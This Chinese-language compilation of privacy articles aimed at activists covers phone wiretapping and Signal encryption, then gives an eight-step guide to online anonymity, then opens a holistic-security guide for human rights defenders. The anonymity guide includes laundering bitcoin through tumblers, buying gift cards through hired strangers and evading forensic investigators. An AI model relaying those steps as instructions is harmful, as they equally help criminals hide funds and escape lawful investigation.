那时候，每家电话公司都有某种实体的开关库，它们可以在此之上执行某种形式的窃听。也就是说，电话公司有一些特殊的装置，而其框架技术可以将这些装置连接到中央办公室中主机上的目标电话号码。

另外，还存在一些呼叫这些装置的额外的窃听设备，可用于对目标进行监控。

现在，这种监听方式已经退休了，电话公司全部被要求实施CALEA规定的技术要求。

尽管现在越来越多的人都转向了移动电话，但很多人仍然保留着有线电话，因为他们觉得这些铜线连接的电话很可靠。

其他人也使用被称为基于IP的语音传输技术（Voice over Internet Protocol，简称VoIP），这是一种通过互联网打电话的技术，通常与你家里或办公室里的有线电视或互联网服务绑定在一起。

☞无论是利用电话公司里的实体开关还是数字开关，执法部门都有能力窃听通话。

1994年的CALEA要求电信制造商和运营商修改它们的设备，以便执法部门能够窃听其线路。

所以根据CALEA，理论上美国境内所有有线电话的通话都很容易被拦截，而且所有执法部门都需要 Title III 授权令才能读取这些电话。也就是说，普通公民的窃听行为仍然是违法的，而私家侦探 Anthony Pellicano 为了窃视记者和其他人就这么做了。

被他窃听的受害者还包括 Sylvester Stallone、David Carradine和 Kevin Nealon 等好莱坞明星。

Pellicano 窃听别人的目的是试图恐吓证人，使其以特定的方式不做证或做假证。

您可能会问，使用铜线连接的、显然要被窃听的有线电话时，怎样才能隐身？答案是，你不能隐身，除非购买专用设备。至于那些真正的偏执狂，可以选择一种能在铜线上加密所有语音通话的有线电话。

这种电话确实能解决私人电话被窃听的问题，但必须要通话双方都使用加密才行；否则可能还是很容易被监控。

对普通人来说，有一些关于电话的基础选择可以让我们避免被窃听。

数字电话让监视更简单了

「图」

数字电话的发展没有让监控行为变得更难，反而使其更简单了。

今天，如果要对一条数字电话线路进行监控，完全可以远程地实现。电话交换计算机只是简单地创建了另一个并行的数据流；不需要任何额外的监控设备。这也让人更加难以确定一条给定的线路是否遭到了窃听。

而且在大多数案例中，这样的窃听都是偶然被发现的。

在希腊举办了2004年夏季奥运会之后不久，沃达丰（Vodafone）旗下的 Vodafone-Panafon 的工程师从公司的蜂窝网络中移除了一些流氓软件，这些软件被发现时已经在那里运行了一年多了。

实际上，警察会截取经由任何蜂窝网络发送的全部语音和文本数据，为此他们会使用一种被称为RES（远程设备控制子系统）的远程控制系统，该系统是模拟信号窃听器的数字等效形式。

当被监视的目标拨打电话时，RES会创建另一个数据流，并将其直接传送给执法人员。

在希腊发现的这些流氓软件进入了沃达丰的RES，也就意味着在正规执法部门之外，还有其他人一直在窃听经由其蜂窝网络进行的通话；在这个案例中，窃听者感兴趣的是政府官员。

在这届奥运会期间，有的国家（比如美国和俄罗斯）为国家级的通话提供了它们自己的私密通信系统。来自全世界的其他国家首脑和企业高管，使用的则都是已经受损的沃达丰系统。

调查表明，希腊总理及其妻子的通信在奥运会期间受到了监控，雅典市长、希腊欧盟专员、国防部、外交部、商船部和司法部的通信也未能幸免。

另外，反全球化组织、执政的新民主党、希腊海军总参谋部的成员、和平活动人士和美国驻雅典大使馆的一位希腊裔美国员工的电话也遭到了截听。

要不是沃达丰在调查另一起不相关的投诉（短信传送失败的比例高于正常水平）时找来自己的RES系统供应商爱立信（Ericsson），这种间谍活动可能还会持续更长时间。

在执行了问题诊断之后，爱立信告知沃达丰：发现了流氓软件。 不幸的是，十多年过去了，我们仍然不知道谁是幕后黑手或原因为何。

甚至不知道这种活动有多普遍。

而更糟的是，沃达丰显然没有妥善做好调查工作。

一个表现就是，覆盖该事件的关键日志文件丢失了。而且沃达丰没有在发现这个流氓程序后让其继续运行（这是计算机犯罪调查中的普遍做法），反而唐突地将其移出了它们的系统，这会给作案者提供预警，让他们可以进一步掩盖自己的踪迹。

沃达丰事件是一个让人不安的警示，提醒了要拦截你的手机是多么容易。

但即使你用的是数字电话，也有可以实现隐身的方法。

端到端加密移动VoIP

「图」

除了手机和老式的有线电话，还有第三种电话选择—— VoIP。

VoIP适用于任何本身不带电话功能的无线设备（比如苹果的 iPod Touch），比起传统的打电话，这更像是网上冲浪。

有线电话需要铜线；移动电话使用信号塔；而 VoIP 通过互联网传输你的语音—— 不管使用有线还是无线的互联网服务。

VoIP 也适用于移动设备，如笔记本电脑和平板电脑，无论它们是否具有蜂窝服务。

为了省钱，很多家庭和办公室都已经切换到了VoIP系统，这些系统是由新服务提供商和已有的有线电视公司提供的。

为各个家庭传输视频流和高速互联网的同轴电缆也可供VoIP使用。好消息是VoIP确实会使用加密，尤其是一种被称为“会话描述协议安全描述”（session description protocol security descriptions，简称SDES）的加密方法。

☞但也有坏消息，**SDES**并不是很安全。

SDES的部分问题在于其加密密钥不是通过安全的SSL/TLS（一种网络加密协议）分享的。但是，如果供应商不使用SSL/TLS，那密钥就是明文发送的。

它使用了对称加密，而不是非对称加密，这就意味着由发送方生成的

密钥必须以某种方式传递给接收方，才能为电话解码。

假设鲍勃想给在外国的艾丽斯打电话。鲍勃用SDES加密的VoIP电话为这场通话生成了一个新的密钥。

鲍勃必须以某种方式让艾丽斯也得到这个新密钥，这样她的VoIP设备才能解码他的电话呼叫，他们才能进行交谈。

SDES提供的解决方案是，将该密钥发送给鲍勃的运营商，然后传递给艾丽斯的运营商，再分享给艾丽斯。

你看到哪里有问题了吧？

接收方在另一端解密之前，通话一直保持加密状态。但SDES将来自鲍勃的密钥分享给了鲍勃的运营商，如果艾丽斯的运营商和他的不同，那么这场通话从艾丽斯的运营商到艾丽斯的阶段是加密的。

中间的缺口大不大还存在争议。

使用 Skype 和 Google Voice 的情况也与之类似。每当一个电话发起时，就会有新密钥生成，但这些密钥之后就传递给了微软和谷歌。

幸运的是，现在有一些可以端到端加密移动VoIP的方法。 来自 Open Whisper Systems 的 **Signal** 是一个免费的开源的手机**VoIP**系统，可为 **iPhone** 和安卓提供真正的端到端加密。

Signal 的主要优势是其密钥管理仅在通话双方之间处理，不会通过任何第三方。也就是说，就像在SDES中一样，每次通话都会生成新的密钥，但这些密钥的唯一副本存储在用户的设备上。

因为 CALEA 允许读取任何特定电话的记录，那么在这种情况下，执法部门只能看到这家移动运营商的线路上有加密的流量，而无法了解其内容。

而且开发了 Signal 的非营利组织 Open Whisper Systems 也没有这些密钥，所以授权令也无法使用。

这些密钥仅存在于通话两端的设备上。

而且一旦通话终止，这些会话的密钥就会被销毁。

CALEA 目前还没有延展到终端用户或他们的设备上。

你可能认为在手机上使用加密会榨干你的电池。加密确实会耗电，但也不会消耗太多。Signal 会推送通知，就像 WhatsApp 和 Telegram 这些应用一样。因此，只有来电呼入时，你才会看到这些通知，而当你接听新来电时，这些通知的耗电量就减少了。

安卓和iOS应用也会使用移动网络必备的音频编解码器和缓冲算法，所以同样在你打电话时，加密本身并不会耗费太多电量。

除了使用端到端加密，Signal 还使用了完全正向保密（perfect forward secrecy，PFS）。

PFS是什么？这种系统为每一次通话都使用了稍有不同的加密密钥，所以就算真的有人拿到你加密的电话通话及用于解码该通话的密钥，你的其他通话仍然是安全的。

所有PFS密钥都基于单个的原始密钥，重要的是，即使有人拿到了一个密钥，也并不意味着你的潜在敌人能够进一步读取你的通信。〇

但是，请始终记得！一个软件无法保护您的全部！要想尽可能获得真正的安全，您需要安全文化 —— 见《如何才能安全地使用端对端加密（比如Signal）：准则》。

—— 未完待续 ——

原文

8个步骤实现基本匿名实践：变得难以被追踪的简单方法（9） - iyouport

难以被追踪难以被追踪（完成）

【2020年7月24日存档】一个小错误就可能前功尽弃。但是错了不是死刑，您可以再来一次 ……

欢迎回来！

还记得本系列此前的内容吗？您可以在下面回顾：

- 《在不自由中创造自己的自由：变得难以被追踪的简单方法（1）》
- 《构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2）》
- 《与S先生共度美好一天—反取证技巧：变得难以被追踪的简单方法（3）》
- 《保持零信任：变得难以被追踪的简单方法（4）》
- 《少即是多：变得难以被追踪的简单方法（5）》
- 《大保健应该成为习惯：变得难以被追踪的简单方法（6）》
- 《在雷达下低飞：变得难以被追踪的简单方法（7）》
- 《到底也没有无法被监听的电话？：变得难以被追踪的简单方法（8）》

读完以上这些内容您也许会思考以自己的经验水平要想实现基本在线安全和人权到底有多难；或者，您想要知道究竟做到哪种程度才能获得基本安全。

全面的在线安全需要采取哪些步骤？会花多少时间、多少钱？

实际上可以不需要花很多钱，但必需花一些心思。

您首先必须创建一个单独的身份，一个与您本人完全无关的身份。这就是匿名的含义。您必须 **严格地** 将现实和在线匿名身份彻底切分。在下面看到方法：

- 《分身术完整指南：妥善管理您的在线身份并获得安全的方法》
- 《如何快速创建一个假人？简易版分身术—调查人员使用》
- 《角色扮演：行动者刚需》

最好的是，您应该使用一台单独的设备，也就是说，您的匿名身份完全在这台单独设备上进行，而不是您操作过真身份的设备。但是这可能比较费钱。

不过您至少可以创建应该虚拟机。虚拟机是一种软件计算机，它被包含在 VMwareFusion 等虚拟机应用中。您可以在虚拟机中加载一个授权的 Windows10 副本，并告诉它您需要多少RAM、多少磁盘空间等。

- 具体方法《匿名工具：小白级指南》

对于监视者来说，这看起来就像您在使用一台 Windows10 电脑，而实际上您用的是Mac。

安全研究人员和开源情报调查人员一直使用虚拟机，可以轻松创建并随时销毁它们。但即便是专业人士也会面临着隐私泄漏的风险。

比如，您可能在您的虚拟机版本的 Windows10 中，而因为某种原因登陆了您自己的电子邮件账户，现在这个虚拟机就与您的真实身份关联起来了。别犯这种错误。

操作安全永远是首要条件，而非哪个软件。

- 《Opsec 操作安全：在反侦察的过程中您应该注意哪些陷阱？》

第一步：最好能有一台单独的笔记本电脑，便宜点的就行

「图」

如上，如果您使用虚拟机，当然可以省钱，但也许不太容易避免那种操作错误的发生。当然，如果您有信心的话，那是另一回事。

其实只需要一台低价位的 Windows 即可，Linux 更好。跳过注册 Windows 账户的步骤，不要将您的电脑和微软之间建立明显的联系。

您应该亲自使用现金购买这台电脑，而不是在网上买，这样才不会被购买行为追踪到您。

您的独立设备中有一个带有独特MAC地址的无线网卡，您不希望任何人利用这台设备追溯到您 —— 您的真实MAC地址可能在某个事件中以某种方式泄漏了。比如，您在一家星巴克打开过笔记本电脑，系统就会自动探测任何以前 “连接过的” 无线网络。

如果这一区域有记录探测请求的监控设备，就可能会导致你的真实MAC地址泄漏。

一个问题是，如果您的网卡的MAC地址和您的笔记本电脑序列号之间存在任何联系，间谍机构就有办法追溯到您的笔记本电脑的购买事件。如果是这样，政府间谍只需要找到购买这台电脑的人是谁，就可以确定您的身份，这并没有那么困难，

所以您应该同时安装 **Tails** 和**Tor**，而不是使用自带的操作系统和浏览器。

不要用您的真实身份登陆任何网站或应用。您已经了解了在互联网上追踪一个人有多容易，所以您知道其中的风险。

实际上，您在家启动匿名笔记本电脑之前，也最好关闭无线路由器。如果您连接到了家庭路由器（假设您的服务提供商拥有并管理着您家里的路由器），那么他们就能得到您的这台电脑的MAC地址。

最好的方法一直都购买您自己能拥有完全控制权的家庭路由器，服务提供商只能看见您的路由器MAC地址，这对您来说风险不大。

您需要的是看起来合理的可否认性。您需要为您的连接设置多层代理，从而让追踪者难以将它们与单个人关联在一起。

永远不要在家里和工作场所直接使用您的匿名电脑，并且保证不要使用它查阅与您本人有关的任何账户，例如 电子邮件、社交网络、甚至包括本地天气。

第二步：匿名购买一些礼品卡

「图」

追踪资金流是追踪一个人的最便捷方法，这就是为什么必须抵制在线支付。

但您需要为一些东西付费，所以在将您的匿名笔记本电脑带出去找到一个公开的无线网络之前，第一步是匿名购买一些礼品卡。

因为每家销售礼品卡的店里尤其是柜台处都有监视摄像头，因此您需要格外小心。您可以在街头临时雇佣一个人帮您去买，您自己在安全的距离之外等候。用现金购买。

如果您住在欧盟国家，可以使用 viably.com 匿名购买一张实体信用卡。商家可以将这些卡通过邮局寄送，取货时不需要ID。他们会发送给你一个PIN码，你可以通过输入这个PIN码取走商品 —— 假设储物柜没有摄像头的话。

第三步：连接Wi-Fi时修改你的MAC地址

「图」

所以您可以在哪里使用您的新笔记本电脑和匿名购买的预付费礼品卡呢？

随着更便宜的光存储设备出现，提供免费无线访问的企业可以将监控摄像头录像存储数年之久。政府间谍可以轻松获取这些录像。他们还可以分析在您访问期间的日志 —— 搜索在其无线网络上验证过的与你的MAC地址匹配的地址。

所以，每当您连接到一个免费的无线网络时，修改MAC地址很重要。您需要找到一个靠近提供免费无线接入的机构旁边比如一家餐馆，要坐在靠近该服务提供商的墙旁边。可能会感觉网速慢一点，但是会比较安全（至少在追踪者查看周围区域所有监视器之前）。

一旦您在免费无线网络上进行了认证，您的MAC地址就很可能会被记录并保存下来。前中情局局长 Petraeus 的情妇在酒店登记的时间和日期与她的MAC地址在这家酒店网络上出现的时间和日期相匹配，她就是这样被发现的。

您不会希望犯这种错误。所以要记住，每次接入公共Wi-Fi时，都修改您的MAC地址。

永远不要在打开你的匿名笔记本电脑、一次性手机的同一个地方打开你的个人手机或个人笔记本电脑。这种隔离是相当重要的。在之后的某个时间，能将您本人和您的匿名身份关联到一起的任何记录都会让所有操作毁于一旦。

第四步：匿名创建电子邮件

「图」

从现在开始，使用Tor浏览器来创建和访问所有网站账户。第一步就是，设置几个匿名的电子邮件账户。

这是 Ross Ulbricht 疏忽大意没有做到的事。他在暗网上进行 “丝绸之路” 业务时不止一次使用了他的个人电子邮件账户。“恐怖海盗罗伯茨” 和 Ross Ulbricht 两个身份之间无意中出现的这些交集帮助政府间谍确认了它们之间的关系。

- 《这些使用暗网的人是如何被抓到的？》

大多数电子邮件提供商都要求进行手机认证，这意味着您需要提供手机号码，在注册过程中验证短信会发送到您的手机以确认您的身份。

如果你使用的是一次性手机，你仍然可以使用这些服务。但是，您必须安全地获取一次性手机和任何充值卡 —— 使用现金，通过一个无法追踪你的第三方购买。

另外，一旦获得了一次性手机，就不能在靠近你拥有的其他任何蜂窝设备的地方使用它。重申：将您的个人手机放在家里。

为了在网上购买比特币，您至少需要两个匿名创建的电子邮箱地址和比特币钱包。所以，您如何才能获得斯诺登和记者之间沟通使用的那种匿名电邮地址呢？

其实 protonmail 和 tutanota 就可以做到，它俩都不会要求您验证身份。fastmail 是另一个选择，但要花钱才能获得隐私承诺。

所以现在，您已经有了一台装载Tor和Tails的笔记本电脑、一部一次性手机、一些匿名的预付费礼品卡，但仍然没有万事俱备。

为了维持匿名性，您需要将匿名购买的预付费礼品卡变成加密货币。

第五步：将礼品卡变成比特币并进行清洗

「图」

比特币本身并不是匿名的，它们很容易通过区块链追溯到购买源，而后续的所有购买行为也都可以追溯到。于是，您必须让资金通过一个

匿名机制：将预付费礼品卡转换成比特币，然后让这些比特币经过一个洗币服务。

这个过程会让你得到经过匿名化的比特币，用于未来的支付。比如，支付VPN、为一次性手机充流量。

您可以使用Tor在 paxful.com 或其他比特币钱包网站上设置一个初始化比特币钱包。一些网站中间商交易允许您使用预付费礼品卡购买比特币，比如 Vanilla Visa和 Vanilla MasterCard 礼品卡。

这种做法的缺点是，你需要为该服务支付至少 50%的高额溢价。paxful. com 就像一个可以寻找比特币卖家的 eBay 拍卖网站，只连接你与买家和卖家。匿名的成本显然很高。

你在交易中提供的身份信息越少，你要付出的就越多。这是合情合理的：不验证你的身份就向你出售比特币的人冒着巨大的风险。

请随时记得，比特币本身并不是匿名的，比如说，会存在一个您使用特定的预付费礼品卡交换比特币的记录。政府间谍可以通过您的比特币追溯到这些礼品卡。但是有办法清洗比特币，从而阻断它与您的任何关联。

洗钱一直以来都是罪犯做的事，最常见于贩毒活动中，它也在白领金融犯罪中发挥作用。但是，当政府将任何不服从均视为犯罪时，洗钱就是异议人士和反抗者不得不采取的行动。

洗钱意味着掩盖资金的原始所有权，通常的做法是将钱转移出国，转到其他有严格隐私法律的国家的多家银行。事实证明，你也可以对虚拟货币做类似的事。

有一种被称为混桶的服务，可以将来自多个不同来源的比特币混合（tumble）在一起，这样得到的比特币保留了它的价值，却携带了许多所有者的痕迹。

这会使得之后人们难以确定某个特定的购买活动究竟是由哪个所有者做出的。但你必须非常小心谨慎，因为这方面的骗局多如牛毛。

我碰过运气。我在网上发现了一个洗币服务，会从交易中收取额外的费用。我实际上已经得到了我需要的等值比特币。但想想看这个情况：这个洗币服务现在知道我的一个匿名电子邮箱地址和在该交易中使用的两个比特币地址。所以为了进一步混淆，我将这些比特币又发送到了另一个比特币钱包，这个钱包是通过一个新的 Tor环路设置

的，在我和我想访问的网站之间建立了新的跳跃。

现在，这个交易已经彻底模糊不清了，让人非常难以顺藤摸瓜地发现这两个比特币地址是同一个人所有。

当然，这个比特币洗币服务可以提供这两个比特币地址，从而与第三方合作。这就是安全地购买预付费礼品卡如此重要的原因。

在使用礼品卡购买了比特币之后，记得要安全地处理这些卡，不要丢在你家的垃圾桶里。推荐使用可用于塑料卡片的粉碎型碎纸机，然后将这些碎屑丢到远离你家或办公室的某个随机的垃圾桶里。

一旦你收到了洗过的比特币，你就可以注册一个以你的隐私优先的VPN服务。

当你试图匿名的时候，最好的策略就是，不要相信任何 VPN提供商，包括那些宣称不会保留任何日志的提供商。

如果警察或政府间谍与它们联系，它们仍有可能会供出关于你的细节。比如说，无法想象任何不会排查自己网络中的故障的VPN提供商，而故障排查必须保留一些日志，那些可用于将客户与原始IP匹配起来的连接日志。

所以，即使是最好的提供商也不能信任，因此，您需要用洗过的比特币通过 **Tor**浏览器来购买 **VPN**服务。

建议查阅一下各家提供商的服务条款和隐私政策，并找到其中看起来最好的那个。你没法找到完美匹配你的需求的 VPN，只能找一个相对好的。

要记住，为了维护匿名性，您不能信任任何提供商。您必须自己维护自己的匿名性，并且要明白，单单一个错误就足以让你的真实身份暴露。

现在，你有了一台单独的笔记本电脑，上面同时运行着 Tor和 Tails，连接到了一个匿名购买的热点，用着洗过的比特币购买的 VPN服务，此外，还有甚至更多洗过的比特币供应，那么你就已经完成了最简单的部分—— 设置。

现在，进入困难的部分—— 维持匿名。

第六步：如果匿名性受损，那就再匿名一次

「图」

如果你在家使用了匿名热点，或者在使用你的匿名身份的实际位置打开了你的个人手机、平板电脑或其他任何与你的真实身份相关联的蜂窝设备，那么上述刚刚完成的所有设置和过程都会在一瞬间失去价值。

您只要一次犯错的机会，取证调查者就可以通过分析蜂窝提供商的日志，知道你曾出现在某个位置。

如果你的蜂窝设备总是在同一时间注册到同一手机基站，那么这种匿名接入就会呈现出某种模式，可能会导致你的真实身份被揭露出来。

现在，如果你的匿名性已经受损，而你决定进行另一个匿名活动，那么你可能就需要再一次完成这个流程—— 在你的匿名笔记本电脑上清空数据并重新安装操作系统，创建另一套匿名电子邮箱账号和比特币钱包，以及购买另一个匿名热点。

斯诺登和劳拉·珀特阿斯两人原本都已经有匿名的电子邮箱账号了，但他们还是设置了另外的备用账号，以专门用于彼此之间的通信。

只有当你怀疑自己原本已经建立的匿名性受损时，这种做法才有必要。

如果没必要，那您可以通过匿名的热点和 VPN来使用 Tor浏览器（在建立了一个新的 Tor环路之后），用一个不同的身份访问互联网。

当然，在这些建议中，选择遵循多少完全取决于您。

第七步：随机改变您的正常打字节奏

「图」

即使您遵循了这些建议，另一端的某个人仍然有可能识别出你。他是如何办到的？—— 通过你打字的方式。

人们在写电子邮件或评论社交媒体帖子时会选择特定的词，关注这方面的研究相当多。通过检查这些词，研究者往往可以识别出你的性别和种族。但除此之外，他们不能做到更加具体了。或者他们可以？

在第二次世界大战期间，英国政府在全国各地设立了一些监听站，来截听来自德国军方的信号。让盟军解码这些消息的进展来得迟了一点

—— 在政府密码学校（ Government Code and Cypher School ）所在的布莱切利园，德国的 Enigma 密码被成功破解。早些时候，在布莱切利园截听德国电报消息的人可以根据点和画之间的距离识别出一个发送者的某些特征。比如，他们可以识别出何时出现了一个新的电报操作员，甚至还开始为这些操作员起名字。

简简单单的点和线如何揭示出背后的人？

是这样的，发送者按下一个键和再次按下这个键的时间间隔是可以测量出来的。这种区分方法之后被称为“发报人之拳”（ Fist of the Sender ）。

不同的莫尔斯电码按键操作员可以根据他们独特的“拳头”而被识别出来。电报本身并不是为这个目的设计的（谁关心发送消息的人是谁；消息是什么才重要），但是在这个案例中，独特的按键方式是一个有趣的副产品。

今天，随着数字技术的发展，电子设备可以测量出每个人在计算机键盘上的按键方式的纳米级差异—— 不仅是给定一个键被按下的时间长度，还有接下来一个键按下的速度。它可以区分普通打字的人和看着键盘打字的人。

将其与人们的词汇选择结合到一起，就可以揭示出很多有关一场匿名通信的信息。

如果你已经完成了匿名化你的 IP地址的麻烦的步骤，那么问题就会出现在这里。网络另一边的网站仍然可以识别你—— 不是因为某些技术上的东西，而是因为某些人类独有的东西。这也被称为行为分析（ behavioral analysis ）。

假设某个使用 Tor匿名化的网站决定追踪你的按键档案。也许它背后的人是恶意的，目的就是了解更多有关你的信息。或者他们正在与政府间谍合作。

很多金融机构已经在使用按键分析来进一步验证账号持有人的身份了。这样就算某个人确实拿到了你的用户名和密码，他也没法伪造你的打字节奏。

当你需要在网上进行身份验证时，这是很可靠的。但如果你不想呢？因为部署按键分析非常简单，这很让人不安，所以研究者 Per Thorsheim 和 Paul Moore 创造了一个名叫 Keyboard Privacy 的

Chrome浏览器插件。

这个插件会缓存您的个人按键，然后以不同的时间间隔将它们放出来。其中的思想是，为你的正常按键节奏加入随机性，从而在网络上实现匿名。这个插件也许可以进一步掩盖您的匿名互联网活动。

第八步：时刻保持警惕

「图」

您已经看到了，让真实生活和你在网上的匿名生活之间保持隔离是可能的，但是，这需要时刻保持警惕。

我们曾经讨论过很多隐身失败的显著案例，那都是一些亮眼的，但持续时间很短的隐身尝试。

在 Ross Ulbricht 的案例中，他没有真正谨慎地计划自己的替代身份，还偶尔使用他的真实电子邮箱地址，而不是匿名的电子邮箱地址，尤其是在开始的时候。通过使用谷歌高级搜索，一位调查者成功地将足够多的碎片信息组合到一起，从而揭露出 “丝绸之路” 的神秘所有者。

是的，一个“小错误”就能让你结束一切。保持住并不容易，除非你对细节有惊人的关注，否则真的很难过两种生活。

☞安全行业有一个真理：只要时间和资源足够，一个坚持不懈的攻击者终会成功。而你为试图实现自己的匿名而做的所有事情，实际上是在设置很多障碍，从而让攻击者放弃，并转向另外的目标。这就是我们在 “完美隐身” 系列中强调的原理。

- 在列表-1 中看到 “完美隐身” 系列的单独板块

我们大多数人只需要隐藏一小段时间。为了避免老板将你解雇；为了避免前任的律师找到某些或任何可以利用的对你不利的东西；为了避开那些在社交网络上看到你的照片后决定骚扰你的可怕的跟踪狂；为了躲开政府间谍的滋扰 ……

不管你隐身的原因是什么，这里已经列出的步骤将在相当长的时间内帮助你摆脱困境。

在当今的数字世界中，匿名需要大量工作和持续不断的警惕。每个人对匿名的需求都不一样—— 你需要保护你的密码，让私密文件不被

你的同事看到吗？你需要躲避一个正在跟踪你的变态吗？如果你是一位敢于说出真相的人，你需要躲避执法部门和政府间谍吗？

你的个人需求决定了你需要采取的必要步骤，以便维持你想要的匿名水平—— 从设置强密码和意识到办公室的打印机可能对你不利，一直到完成这里给出的详细步骤，从而让取证调查者极难发现你的真实身份。

但总体而言，您至少可以了解到一些东西，从而帮助您 *最小化* 在数字世界中的痕迹。

在将背景中可以看到家庭地址的照片发布出去之前、在社交媒体资料上提供真实的生日和其他个人信息之前、在不使用 HTTPS Everywhere 扩展浏览互联网之前、在没有使用 Signal 这样的端到端加密工具拨打机密电话或发送短信之前 …… 在不使用 OTR 而是通过 AOL、 MSN Messenger 或 Google Talk 向一位重要人士发送消息之前，在不使用 PGP或 GPG发送机密电子邮件之前 …… 请仔细考虑一下。

我们可以积极主动地思考自己的信息，并且认识到，即使对正在做的事情感觉良好—— 分享照片、忘记修改默认登录名和密码、使用工作手机处理个人消息或为孩子设立 Facebook 账号，您所做的任何决定都有可能影响终身。

所以，需要行动起来。每个人（从对技术束手无策的人到专业的安全专家）都应该采取实际行动，掌握这门每天都在变得更为重要的技艺：隐身。〇

原文

头疼医头是不够的：整体安全（1）- 行动主义能持续的关键 - iyouport

整体安全！-课程和训练

【2020年11月13日存档】他们想要让我们崩溃。他们所做的一切都是以此为目标的。打破他们的目标，您的福祉本身不仅是反抗，更是一种政治上的自我赋权

1998年，联合国大会通过了《联合国人权维护者宣言》，承认个人和组织(不论是自愿还是专业) 有权为 “有效消除对各国人民的基本人权和基本自由的一切侵犯行为” 而努力。

人权维护者一词指的是任何促进或维护各种权利的人，这些权利可能包括公民和政治权利 (如言论自由、或为遭受虐待的幸存者伸张正义)；透明度和反腐败、或更大程度的政治参与；环境权利、社会正义和文化权利；与性取向和性别认同有关的权利，或倡导承认新的人权。

无论他们从事何种职业或促进何种人权，国际法以及许多国家的法律对人权维护者工作的承认，都应该为人权维护者开展工作提供必要的保护。

不幸的是，全世界的人权维护者继续受到国家和非国家行为者为阻碍其工作而进行的各种攻击。这影响到人权维护者的身心健康，并往往进一步影响到他们的朋友和家人。这些当权者关闭了几乎一切自由表达和结社的空间，让人权维护工作陷入困境。

尤其是，近年来电子监视机制的发展日益复杂，深度侵入个人生活和日常活动、通信和工作方式。这一因素对人权维护者构成了更大的威胁，他们因在线活动而暴露、其消息来源受到威胁、其工作被镇压。

在国家缺乏适当保护所造成的真空中，防御成为人权维护者的关键问题：不论是在家里、在工作中、还是在开展促进或维护人权的活动时。

此前我们关注了非常多的个人安全问题，提供了诸多技巧，而本指南的目的是帮助人权维护者采取有组织的办法，制定战略，并为小团体、集体或组织的活动和抗议行动创造空间。

📌 再次强调，安全不是一个人能独自完成的，因为我们所有人都生活在关系中，任何一种关系都可能成为您的个人防御弱点 —— 任何一个不够小心的队友或朋友，都会将您的安防工作功亏一篑。

- 《一个人的疏忽将拖累所有人陷入危险》

如果您对个人角度和小团体角度的技术型防御感兴趣，也就是您可以立刻开始做的事，也是本系列的基本背景知识，可以参见以下板块：

- 列表-1 “技术防身” – 基础知识
- 列表-1 “完美隐身” – 现实中的逃脱技巧
- 列表-1 “难以被追踪” – 在线世界防御思考
- 列表-1 “反侦察” – 在现实中反监视
- 列表-5 “护盾” – 给敏感人士的防御技巧
- 列表-5 “社交工程” – 心理过招
- 列表-5 – “在灾难中幸存” – 现实中的对战技能

关于整体安全

「图」

这系列是一份采用 “整体” 方法处理人权维护者的安全和保护的战略性指南。简而言之，这意味着，它不是分别看待数字安全、社会心理健康和组织安全进程的重要性，而是试图将它们结合起来，并强调它们的相互关联性。

过去，人权维护者安全措施的各个方面往往被分开处理，好像它们是孤立存在的。然而，这种人为地将安全问题中密切相关的方面分开的做法，在许多方面大大限制了人们采取综合性措施的能力，其中包括：

- 对安全的情感和社会心理方面缺乏足够的认识，往往使人们看不到潜在的威胁，例如长期压力对健康的影响；另一方面，促进身心健康有利于人们更容易了解自己的安全状况和作出重要决定的能力。
- 随着对异议人士和活动家的数字监控越来越多，如果您对使用的数字技术缺乏足够的了解，就会极大地限制您准确感知周围

威胁的能力。实现这种理解，并采取积极主动的决定，保护自己的数据不被不想要的访问或监视，不仅意味着对您的整体安全采取更全面的方法，而且还需要对威胁的来源有相对的把握，而严重的威胁更可能是高度隐秘的和难以察觉的。
- 在没有对我们的环境和所面临的威胁进行分析的情况下，以临时的方式、或根据“传统”或听说的方式采取安全措施，往往会导致我们作出带来虚假安全感的决定。因此，至关重要的是，要定期摸清自己所处的社会政治环境，尽可能准确地确定自己所面临的威胁，并更新可以用来捍卫我们的空间和继续以赋权方式工作的战略、工具和战术。

📌 在处理安全和防御问题时，不仅要考虑到人身暴力的影响，还要考虑到结构性的、经济的、基于性别和体制的暴力、骚扰和边缘化的影响。这可能是国家所为，也可能是私营维稳公司、利益集团、非国家武装团体，甚至是我们自己的社区和我们身边的人所为，这会深深影响每个人的心理健康、身体健康以及与朋友、家人和同事的关系。

对这些威胁的认识和采取的行动至关重要，只有这样，行动主义和抵抗才能持续，才能促进人们确定和实施安保战略的能力。因此可以说，在活动家中经常被认为是“自私”的自我照顾，事实上是一种颠覆性的自我保护的政治行为，也是有效的安全战略和文化的基础。

您的安全战略也必须定期更新。随着周围环境的变化，将安全纳入您的工作的任务和挑战也在变化。在越来越依赖数字工具和平台开展活动的时代，情况尤其如此：电脑、手机、社交媒体、数码相机、和更多的技术解决方案已成为我们工作中不可或缺的工具，但它们也同时作为国家、武装团体、寡头公司、社区和家庭监视、识别和骚扰的工具，对我们不利。

因此，整体安全不仅必须包括每个人的身体、情感和精神状态，而且还必须包括我们手中的设备、口袋、包、家庭、办公室、街道和车辆中的电子信息。因此，本手册明确地将理解技术环境及其与我们的工作和安全之间的关系结合起来。

准备、探索、制定策略并采取行动

「图」

本手册分为四个部分。准备、探索、战略和行动。这四个步骤被认为是一个不断发展的周期性过程，应作为现有战略规划的一部分而定期重新审视。

在 *准备* 阶段，首先认识到，我们每个人都已经拥有并采取了安全措施、我们的个人信念和复原力来源、以及我们对威胁和危险的本能反应。鼓励大家考虑这些因素及其对群体动态的影响，必须认识到这些因素，才能以更有效的方式参与安全战略。

在 *探索* 阶段，按照一系列的步骤来分析我们的社会政治背景，并就我们的工作和反对我们工作的人可能产生的具体威胁，得出一些结论。

在 *制定策略* 阶段，从我们发现的威胁入手，考虑如何制定安全策略来应对这些威胁，并制定具体的计划和协议，以行动维护我们的福祉。

通过以上这三个步骤，为第四个步骤，即 *行动* 做好准备：学习新的工具和策略，以便在行动中保障安全。*行动* 将包括一系列短小的、以情景为重点的指南，重点是具体的工具和战术 —— 从技术到心理以及其他方面 —— 帮助您在特别高风险的活动中保障安全。

本手册旨在指导个人、集体或组织制定或改进安全战略的进程。使用 “人权维护者” 一词是为了尽可能地包容，并希望该手册将对以各种不同身份工作的人有用，从基层维护者和社区组织者到律师、记者和活动家 ……

虽然本手册是以线性叙述的形式编写的，并有一个建议的结构 (特别是对于那些刚开始将安全措施作为其战略一部分的团队而言)，但您可以自由地将重点放在您认为有用的任何部分内容上。

